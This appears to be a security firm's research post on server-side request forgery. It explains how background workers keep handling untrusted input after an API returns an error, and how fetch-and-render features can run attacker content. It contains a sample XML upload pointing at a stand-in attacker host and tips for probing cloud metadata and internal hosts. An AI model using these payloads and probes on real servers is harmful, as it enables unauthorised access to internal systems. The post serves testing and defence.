Research / Server-side

The request failed. The work didn't.

Two of the most serious server-side flaws we have found came from work that kept running after the request that started it had already returned an error.

Kahu Labs ResearchAugust 6, 2026Server-side9 min read
The short version

Two assumptions make server-side request forgery worse than teams expect. The first is that a failed request is a stopped one. It often is not: the synchronous handler returns an error to the client while a background worker keeps processing the same untrusted input, out of sight. The second is that "just fetch this URL" or "just render a preview" is a small feature. It is not: it runs with the server's identity and network position, which usually reach places the internet cannot.

Put together, they produce findings that do not look like much from the outside. The API returned a 500. Nothing seemed to happen. Meanwhile the server made an outbound connection to an address of the attacker's choosing, or ran the attacker's content in an internal component.

The system assumption

Server-side request forgery is what happens when an attacker gets the server to make a request on their behalf. The reason it matters is position. The server sits inside the network. It can often reach internal services, metadata endpoints, admin interfaces, and databases that are firewalled off from the outside. When the attacker chooses the destination, they borrow that position.

Two everyday assumptions turn a modest SSRF into a serious one:

  • That request lifecycle equals work lifecycle. Developers reason about the synchronous path: validate, process, respond. If validation fails and the handler returns an error, they assume processing stopped. But modern systems hand work to queues and background workers, and that work has its own lifecycle that does not end when the HTTP response is sent.
  • That fetching or rendering is inert. Retrieving a URL, parsing an uploaded document, generating a preview, resolving a reference: these feel like reading, not executing. Depending on the parser or renderer, they can be executing.

Where the assumption breaks

Fail-open async: the 500 that kept going

An upload API accepts a document and a user-controlled field. The field is fed into a parser that resolves an external reference, and resolving it makes the server open an outbound connection. In the case we examined, the API returned an HTTP 500 to the client, and then a background worker performed the outbound DNS and HTTP request anyway, after the failure, to a host the attacker specified. The synchronous response said "error." The asynchronous reality was a server-side request to attacker infrastructure, made by a worker that sits deeper in the network than the edge does.

This is a fail-open condition. The system encountered a problem, told the client it had failed, and continued handling the untrusted input regardless. The error response is not just uninformative; it is misleading, because the dangerous work happens on the far side of it.

  client                edge API              background worker
  ------                --------              -----------------
  upload w/ crafted --> validate ... error
  external reference    HTTP 500  <----- (returned to client)
                            |
                            +--> enqueue job ------------->  parse input
                                                             resolve external ref
                                                             DNS + HTTP to
                                                             attacker.example
  "looks like nothing happened"          "the work happened here, after the 500"
The response and the work are on different timelines. Watching only the response hides the finding.

SSRF that becomes execution

A second feature takes a URL, fetches it server-side, and renders the returned content in an internal component (a headless browser or preview service) to produce a thumbnail or a summary. If that component executes what it renders, the attacker's content runs server-side, with the component's network access, and with no user interaction, triggered simply by submitting the URL. This is the step from "the server made a request" to "the server ran my code." The fetch was the door; the renderer was the room.

Reconstructing it

The fail-open case, in synthetic form, with a reserved callback host:

  POST /api/upload HTTP/1.1
  Host: app.example.test
  Content-Type: application/json

  { "filename": "document.xml",
    "content":  "<doc xmlns:xsi='...'
                  xsi:schemaLocation='http://attacker.example/x.xsd'>...</doc>" }

  HTTP/1.1 500 Internal Server Error
  { "error": "could not process file" }

  # Seconds later, from the server's own network, unsolicited:
  #   DNS  attacker.example
  #   GET  http://attacker.example/x.xsd
  #
  # The client was told it failed. The server still reached out.
Reserved example host. The tell is the out-of-band callback that arrives after the error, from the server side.

You cannot see this by reading the HTTP response. The only reliable signal is out-of-band: the server contacting a host you control, on its own initiative, after the request that "failed." That is why detection here depends on watching for the callback, not the reply.

Why the obvious defenses didn't solve it

Checking the response. The most natural test, and the one that misses this entirely. A tester who submits input and reads the reply sees an error and moves on. The work, and the finding, live after the reply, in a component that never talks to the client.

Validating at the edge. Edge validation that rejects the request is exactly what produced the misleading 500 here, while the queued job ran anyway. If the untrusted input is passed to the worker before or despite the rejection, edge validation is theater. The check has to bind the component that does the work, not the door in front of it.

Blocklisting internal IP ranges. A denylist of internal addresses is routinely defeated by redirects, DNS that resolves to an internal address, alternate encodings of the same address, and hostnames the attacker controls that point inward. Worse, a background worker often has broader network reach than the edge, so the ranges you thought were unreachable are reachable from where the work actually runs.

Root cause

There are two roots, and they compound.

The first is that untrusted input outlived the decision to reject it. Once a request is deemed invalid, every downstream component must stop handling its input. A system where the edge says "no" and a worker keeps going is fail-open by construction: the failure state still processes attacker data. The fix is to make failure terminal for the input, and to give background work the same input validation and the same network restrictions as the edge, because it is doing the sensitive part.

The second is that a fetch or render was treated as reading when it was really acting. Any operation where the server retrieves or interprets something the attacker named is an outbound action taken with the server's authority. It must be constrained like one: where it may connect, what it may resolve, and whether the thing it renders can execute.

How to test for this class of failure

  • Use an out-of-band collaborator. Point any URL, reference, or fetchable field at a host you control and watch for callbacks. The interaction, not the HTTP response, is the evidence.
  • Test after failure. Send inputs that make the endpoint error, and keep watching your collaborator. A callback that arrives after a 4xx or 5xx is a fail-open finding.
  • Look for asynchronicity. Delayed callbacks, callbacks from a different source address than the edge, and effects that appear seconds later all point at a background worker doing the real work.
  • Probe every fetch-and-parse surface: URL fields, document uploads (XML and anything with external references), link previews, webhooks, and import-by-URL features.
  • For render features, test whether returned content executes: serve HTML with a script that calls back, and see if the call comes from the server.
  • Try to reach inward: cloud metadata endpoints, internal-only hosts, and loopback, using redirects and DNS tricks rather than a single literal IP.

How to design the control correctly

  • Make rejection terminal. If input is invalid, no component processes it, including queued jobs. Validate before enqueuing, and validate again in the worker. Never enqueue raw untrusted input "to sort out later."
  • Constrain outbound requests everywhere they originate. Apply an egress allowlist of permitted destinations to the edge and to every worker. Default-deny outbound, and remember that the worker's network position is the one that matters.
  • Resolve then pin. Resolve hostnames yourself, check the resulting address against the allowlist, and connect to that address, so a later DNS answer cannot swap in an internal target. Do not follow redirects into disallowed destinations.
  • Disable dangerous parser features. Turn off external entity and external schema resolution in XML parsers. A parser that will not fetch cannot be steered.
  • Render untrusted content without executing it, or in a sandbox with no network and no privileges. If a preview component runs code, treat it as a code-execution surface, not a convenience.

What we took away from it

These findings stayed with us because they are quiet. Nothing about the response says "you have a critical." The API errored, the page looked normal, the scanner saw a 500 and scored it as noise. The severity was entirely in what the server did next, somewhere the client could not see. That is a general lesson about server-side bugs: the interesting behavior is often on a timeline and in a component that the request-response view never shows you.

It changed our methodology in one concrete way. We assume the response is not the whole story. We watch for out-of-band effects by default, we keep watching after a request fails, and we treat every "just fetch it" and "just preview it" feature as an outbound action taken with the server's own authority, until we have proven it is fenced in.